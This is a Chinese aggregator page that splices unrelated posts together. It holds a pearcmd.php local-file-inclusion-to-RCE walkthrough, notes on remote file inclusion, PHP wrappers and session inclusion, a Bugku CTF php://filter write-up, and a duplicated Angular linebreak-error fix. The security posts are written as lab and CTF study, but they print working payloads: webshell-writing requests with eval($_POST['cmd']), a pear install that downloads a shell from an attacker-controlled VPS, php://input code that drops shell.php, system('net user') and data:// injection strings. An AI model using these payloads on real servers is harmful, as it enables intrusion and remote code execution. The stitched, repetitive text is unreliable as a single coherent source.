想了解利用pearcmd.php本地文件包含的新动态吗?本文将为您提供详细的信息,我们还将为您解答关于LFI的相关问题,此外,我们还将为您介绍关于11.12远程文件包含利用知识、PHP伪协议、文件包含
想了解利用pearcmd.php本地文件包含的新动态吗?本文将为您提供详细的信息,我们还将为您解答关于LFI的相关问题,此外,我们还将为您介绍关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE、Angular 开发遇到的一个错误消息 - Expected linebreak to be LF (和本地文件的换行设置有关)、Angular开发遇到的一个错误消息 - Expected linebreak to be LF(和本地文件的换行设置有关)、bugku-flag在index里(本地文件包含漏洞+php伪协议的结合应用)的新知识。
本文目录一览:- 利用pearcmd.php本地文件包含(LFI)(php获取本地文件目录)
- 11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE
- Angular 开发遇到的一个错误消息 - Expected linebreak to be LF (和本地文件的换行设置有关)
- Angular开发遇到的一个错误消息 - Expected linebreak to be LF(和本地文件的换行设置有关)
- bugku-flag在index里(本地文件包含漏洞+php伪协议的结合应用)
利用pearcmd.php本地文件包含(LFI)(php获取本地文件目录)
利用pearcmd.PHP本地文件包含(LFI)
一.前言
pearcmd这个东西很久以前就已经复现过了,但是当时没有记录下来。这些天在整理之前比赛的wp的时候突然看见了pear的LFI到getshell,就突然想起来自己应该是利用过了的。但是怎么找也找不到之前的笔记,于是就有了再复现一遍的想法。
二.正文
1.环境的准备
这里的话我使用的是docker来搭建的一个lamp,然后在这个lamp上面进行后续的漏洞复现。至于为什么这么做呢?照P神的话来说就是因为在Docker任意版本的镜像中pear都会被默认安装,这也就省去了我们搭建完lamp还要去安装pear的工作。
我用的镜像文件就是如下图所示的镜像
像正常docker一样拉取镜像,搭建环境就可以了。
然后我们要通过docker exec -it [container id] /bin/bash
进入docker命令行中
然后在web主目录下创建两个文件,以供后面的测试使用
内容分别为
<?PHP
//test.PHP
include($_REQUEST['file']);
?>
<?PHP
//test2.PHP
var_dump($_SERVER['argv']);
?>
2.复现
在此之前我们需要确定几件事情:
1.我们要找到pearcmd.PHP的文件位置。正常情况下在/usr/local/lib/PHP/pearcmd.PHP
2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。
当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。
而$_SERVER[‘argv’]有什么用呢,我们来看一下pearcmd.PHP的获取参数的代码段(这段代码在Getopt里面。
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseerror("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
也就是说在argv的情况下,pearcmd.PHP是通过$_SERVER[‘argv’]来获取参数的。那么我们现在就要利用test2.PHP来看一下$_SERVER[‘argv’]是如何解析参数的。
我们依次传入参数
1
,a=1&b=1
,a=1+b=1
从上面的三个例子中我们发现了一些问题:
1.&符无发分割参数,真正能分割参数的是加号
2.等号无法赋值,而是会直接被传进去当作参数。
我们来看一下pear程序的内容
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/PHP" = '@'PHP_bin'@'; then
PHP=PHP
else
PHP="/usr/local/bin/PHP"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/PHP" = '@'PHP_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/PHP"
INCARG="-d include_path=/usr/local/lib/PHP"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.PHP "$@"
pear命令实质上就是调用了pearcmd.PHP,也就是说我们可以利用pear命令的形式来进行漏洞利用。
我们来看一下pear命令
(1)config-create
我们先来看第一种方法,也就是P神介绍的config-create的方法,payload如下
?+config-create+/&file=/usr/local/lib/PHP/pearcmd.PHP&/<?=@eval($_POST['cmd']);?>+/tmp/test.PHP
(这里是向之前环境准备的test.PHP传参数)
结果如下图所示,这里用浏览器不成功的,可以用bp发包试试
这时候我们到docker中的命令行里面查看一下
可以看到不仅我们的一句话木马被写进去了,与此同时我们的file参数也被写进去了。这是符合我们之前分析的结果的因为传给pearcmd的参数是$_SERVER[‘argv’],$_SERVER[‘argv’]会读取所有字符串并以加号进行分割。所以这里的file及其参数自然就被当作参数接纳了。
尽管如此我们还是可以通过蚁剑进行连接的。(这里就不放截图了)
(2)Install
除了上面的方法我们还可以使用install方法,从外面将shell文件下载进来然后进行getshell。
payload如下(源自W4师傅)
?+install+--installroot+&file=/usr/local/lib/PHP/pearcmd.PHP&+http://[vps]:[port]/test1.PHP
从上面的分析中,我们不难看出这串payload所下载的文件的保存地址在
&file=/usr/local/lib/PHP/pearcmd.PHP\&/tmp/pear/download/
路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/PHP/pearcmd.PHP\&
的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。
但是,除此之外install命令还有另外一种利用的姿势,payload如下:
file=/usr/local/lib/PHP/pearcmd.PHP&+install+-R+/tmp+http://192.168.1.9/index.PHP
结果如下图所示
然后我们去对应的目录下面就能找到我们刚才下载的文件。
这里只下载了一个目标机器上的index文件,事实上这里可以下载目标机器上事先备好的shell文件,然后下载下来进行getshell。
(3)一些疑惑与思考
在我找到第二种利用install命令下载文件的时候,我发现一个问题。$_SERVER[‘argv’]是将所有的参数包含,并用加号进行分割。但是在payloadfile=/usr/local/lib/PHP/pearcmd.PHP&+install+-R+/tmp+http://192.168.1.9/index.PHP
里面,我们不难看出$_SERVER[‘argv’]的第一个参数应该是file=/usr/local/lib/PHP/pearcmd.PHP&
,但是从结果的角度来讲这个参数并没有发挥作用,因为一旦这个参数被放到了pearcmd.PHP的后面,那么pearcmd.PHP会直接报错
事实上这在之前的几个payload中也有相应的体现,我是在P神博客的评论里面发现的
也就是说在前面的payload中第一个的加号至关重要,我们回到test2.PHP中来测试一下。
输入上述payload后
我们发现它的第一个参数是“”,也就是空串。这也就印证了第一个参数无法发挥作用的事实,因为当第一个加号被删除之后,第一个参数就是config-create它没有发挥作用所以导致payload无法成功。(当然这里的没有发挥作用指的是没有被放到pearcmd后面当参数)
于是,我陷入了思考,去找了pearcmd.PHP的源代码发现了一些端倪。
argv的值是函数readPHPArgv所赋予的,也就是之前做贴出的一个参数获取函数。他在后面的处理中直接对argv[1]进行分析,这也就直接导致了位于0位的参数失效的问题。
三.后记
这次复现总的来说比较简单,第二次做这个东西也解决了我第一次所忽略的一些细节。最近在看书,不知道什么时候才能肝完。年后要准备考研了,就不能这样干这些事情了,要专注的去准备考研了。
四.参考文章
W4师傅
P神
11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE
远程文件包含利用知识
配置条件:
Allow_url_fopen打开
Allow_url_include打开
%00截断(php<5.3版本)
%00截断:http://127.0.0.1/include/test.php?file=file1.html%00
有后缀名限制的文件包含
Include($_GET[“file”].”.php”);
<?php include("./up/".$_GET["file"]);?>
127.0.0.1/include/test.php?file=../../../../123.txt 这样的会直接目录跳转
同时又前后缀限制,需要重点考虑后缀名的绕过,方法如下:
%00截断
路径长度截断
?file=../../../../../boot.ini/./././.~~~~./././
PHP<5.2.8可以成功,linux需要文件名长于4096,windows需要长于256
PHP伪协议
Include($_POST[“a”]);
a=如下
zip:// 处理zip数据流
phar:// 处理rar数据流
PHP协议(get、post自己看着定)
?file=php://input POST:<? phpinfo();?>
利用条件:allow_url_include = On,对allow_url_fopen不做要求
如果将POST的数据修改为:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[''cmd'']);?>");?>
在当前的页面的目录下生成shell.php
include($_POST[“a”]);
a=php://input&<?php system(''net user'');?>
php://filter
条件:无
读取文件中内容(站点源码或者其他敏感文件)
file=php://filter/read=convert.base64-encode/resource=index.php
file=php://filter/convert.base64-encode/resource=index.php
file=php://filter/string.rot13/resource=index.php
string.rot13 对字符串执行ROT13转换
string.toupper转换为大写
string.tolower 转换为小写
string.strip_tags去除html和php标记
convert.base64-encode & convert.base64-decode :base64编码/解码
<?php phpinfo();?>--ROT13--> <?cuc cucvasb();?> te.php
file=php://filter/string.rot13/resource=te.php (最后直接执行)
如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况,
则该方法仅限于当short_open_tag不开启的时候,读出来之后rot13解密即可!
Phpar://
要求:php>=5.30
ifno.txt打包成zip文件放到服务器目录中
相对路径访问:
127.0.0.1/include/test.php?a=phar://info.zip/info.txt
绝对路径访问:
127.0.0.1/include/test.php?a=phar://文件地址
zip://
要求:php>=5.3
只能使用绝对路径访问,并且将在压缩包后的/改为%23 (#的url写法)
127.0.0.1/include/test.php?a=phar://文件地址/ifno.zip%23info.txt
data://
条件:php>5.2
Allow_url_fopne=on
Allow_url_include=on
127.0.0.1/include/test.php?a=data://text/plain,<?php phpinfo();?>
注意有“,”
变形:64位加密并换为url
127.0.0.1/include/test.php?a=data://text/plain;base64,<?php phpinfo();?>(继续变)
127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(继续变)
127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(可用)
文件包含漏洞包含本地session最终实现RCE
Step1:找到文件包含漏洞点:127.0.0.1/fileInclude/nojieduan.php?file=test.txt
Step2:审计代码,发现可以往session文件中写入恶意代码(自己写)
修改浏览器中的参数x-forwarded-for的值
再次访问页面,就会在session中写入刚刚的值
从下面我们能知道该session的名称,或者直接文件中找
之后访问就能成功执行漏洞的语句127.0.0.1/fileInclude/nojieduan.php?file=D:\phpstudy_pro\Extensions\tmp\tmp\sess_f5ia0fjppgdriretmrh4bvq0u4
(session文件开头一般是sess_)
Step3:包含执行里面的恶意代码
共享文件实现有限条件下的远程文件包含
当allow_url_inculde和allow_url_fopen都是off的时候直接通过HTTP去进行远程文件包含会包含失败,但是可以通过SMB协议在这种情况下进行远程文件包含
Angular 开发遇到的一个错误消息 - Expected linebreak to be LF (和本地文件的换行设置有关)
(linebreak-style)tslint(1)
命令:
ng test core --code-coverage
console 会不定期打印出单元测试执行结果:
最后 2554 个全部执行完毕。
在 Visual Studio Code 里进行 Angular 开发,遇到错误消息:
Expected linebreak to be ‘LF’ (linebreak-style)tslint(1)
在 Visual Studio Code 的右下角把 linebreak 从 CRLF 改成 LF 即可。
要获取更多 Jerry 的原创文章,请关注公众号 "汪子熙":
本文同步分享在 博客 “汪子熙”(CSDN)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与 “OSC 源创计划”,欢迎正在阅读的你也加入,一起分享。
Angular开发遇到的一个错误消息 - Expected linebreak to be LF(和本地文件的换行设置有关)
(linebreak-style)tslint(1)
命令:
ng test core --code-coverage
console会不定期打印出单元测试执行结果:
最后2554个全部执行完毕。
在Visual Studio Code里进行Angular开发,遇到错误消息:
Expected linebreak to be ‘LF’ (linebreak-style)tslint(1)
在Visual Studio Code的右下角把linebreak从CRLF改成LF即可。
要获取更多Jerry的原创文章,请关注公众号"汪子熙":
本文分享 CSDN - 汪子熙。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
bugku-flag在index里(本地文件包含漏洞+php伪协议的结合应用)
首先页面点击click me之后就显示这样
根据file=show.PHP可以想到本地文件包含漏洞
所以直接 http://123.206.87.240:8005/post/index.PHP?file=PHP://filter/read=convert.base64-encode/resource=index.PHP
可以得到
从密文最后的“==”可以知道是base64密文,将密文解密之后可以得到
得到flag。
现在我们来总结一下上面 ?file=PHP://filter/read=convert.base64-encode/resource=index.PHP 的含义
?file是一个get参数传递,PHP://可以看出是一种协议名称,PHP://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.PHP表示目标文件为index.PHP。
今天的关于利用pearcmd.php本地文件包含和LFI的分享已经结束,谢谢您的关注,如果想了解更多关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE、Angular 开发遇到的一个错误消息 - Expected linebreak to be LF (和本地文件的换行设置有关)、Angular开发遇到的一个错误消息 - Expected linebreak to be LF(和本地文件的换行设置有关)、bugku-flag在index里(本地文件包含漏洞+php伪协议的结合应用)的相关知识,请在本站进行查询。
本文标签: